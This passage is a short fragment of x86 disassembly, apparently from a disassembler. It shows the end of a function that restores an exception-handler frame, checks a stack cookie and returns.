jb 0x4e6ced
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00445690
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret